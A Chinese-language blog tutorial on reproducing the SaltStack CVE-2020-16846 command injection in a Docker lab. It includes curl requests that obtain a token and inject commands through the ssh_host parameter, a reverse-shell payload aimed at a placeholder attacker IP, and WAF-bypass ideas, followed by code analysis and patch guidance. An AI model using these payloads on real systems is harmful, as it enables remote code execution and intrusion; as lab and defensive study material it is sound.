溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行SaltStack命令注入漏洞復現

發布時間:2021-12-29 17:37:27 來源:億速云 閱讀:145 作者:柒染 欄目:安全技術
# 如何進行SaltStack命令注入漏洞復現

## 前言

SaltStack是一款流行的開源配置管理和遠程執行工具,廣泛應用于自動化運維場景。然而,歷史上SaltStack曾多次曝出高危漏洞,其中**命令注入漏洞**尤為危險,可能直接導致攻擊者在目標服務器上執行任意命令。本文將詳細講解CVE-2020-16846漏洞的復現過程,幫助安全研究人員理解漏洞原理并驗證修復方案。

---

## 漏洞背景

### 漏洞信息
- **CVE編號**: CVE-2020-16846  
- **影響版本**: SaltStack 3002及之前版本  
- **漏洞類型**: 命令注入  
- **CVSS評分**: 9.8 (Critical)  

### 漏洞原理
SaltStack的`salt-api`組件在使用`ssh_client`模塊時,未對用戶輸入的`host`參數進行嚴格過濾,導致攻擊者可通過構造惡意請求注入系統命令。

---

## 環境搭建

### 實驗環境要求
- 虛擬機或云服務器(推薦Ubuntu 20.04)
- Docker環境(用于快速搭建漏洞環境)

### 使用Docker部署漏洞環境
```bash
# 拉取漏洞鏡像
docker pull vulnerables/cve-2020-16846

# 啟動容器(映射SaltStack API端口)
docker run -d -p 8000:8000 --name saltstack-vuln vulnerables/cve-2020-16846

驗證環境

訪問http://<目標IP>:8000應看到SaltStack API的歡迎頁面。


漏洞復現步驟

步驟1:獲取有效Token

SaltStack API需要認證,首先獲取訪問令牌:

curl -sSk http://localhost:8000/login \
    -H 'Accept: application/x-yaml' \
    -d username=salt \
    -d password=salt \
    -d eauth=pam

響應示例:

return:
  - eauth: pam
    expire: 1625090000.123456
    perms:
      - .*
    start: 1625086400.123456
    token: abcdef1234567890
    user: salt

步驟2:構造惡意請求

利用ssh_client模塊的host參數注入命令:

curl -sSk http://localhost:8000 \
    -H 'Accept: application/json' \
    -H 'X-Auth-Token: abcdef1234567890' \
    -d client=ssh \
    -d tgt='*' \
    -d fun='test.ping' \
    -d ssh_host='localhost";id;"'

關鍵參數說明

參數 值示例 作用
client ssh 指定SSH客戶端模塊
tgt * 目標主機(通配符)
fun test.ping 執行的Salt函數
ssh_host localhost";id;" 注入命令的關鍵參數

步驟3:觀察命令執行結果

成功利用時,響應中將包含id命令的執行結果:

{
  "return": [
    {
      "localhost": {
        "ret": "uid=0(root) gid=0(root) groups=0(root)\n",
        "retcode": 0
      }
    }
  ]
}

漏洞分析

代碼層面問題

漏洞位于salt/client/ssh/client.py中:

def _prep_ssh(
    self,
    host,  # 未過濾的用戶輸入
    ...
):
    cmd = 'ssh {0} {1}@{2} {3}'.format(
        opts,
        self._ssh_user(),
        host,  # 直接拼接進命令
        remote_cmd
    )
    return shlex.split(cmd)

攻擊鏈分析

  1. 用戶控制ssh_host參數傳入惡意字符串
  2. 參數未經處理直接拼接進SSH命令
  3. 系統執行包含注入命令的字符串

修復方案

官方補丁

SaltStack在3002.1版本中: 1. 使用shlex.quote()對host參數進行轉義 2. 增加輸入白名單驗證

臨時緩解措施

  • 禁用salt-api非必要接口
  • 限制API訪問IP范圍

擴展實驗

反彈Shell利用

構造更危險的Payload獲取交互式Shell:

ssh_host='localhost";bash -i >& /dev/tcp/攻擊者IP/4444 0>&1;"'

防御繞過嘗試

測試WAF繞過技術: - 使用Base64編碼命令 - 利用環境變量拼接命令


總結

通過本次復現,我們了解到: 1. SaltStack命令注入漏洞的高危性 2. 參數過濾不嚴導致的RCE風險 3. 自動化工具安全開發的重要性

建議運維人員: ? 及時升級到最新版本
? 定期進行安全審計
? 最小化API權限分配


參考資源

  1. CVE-2020-16846官方公告
  2. SaltStack安全最佳實踐文檔
  3. OWASP命令注入防護指南

”`

注:實際操作時請確保在授權環境下進行測試,避免違反法律法規。本文僅用于教育目的。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女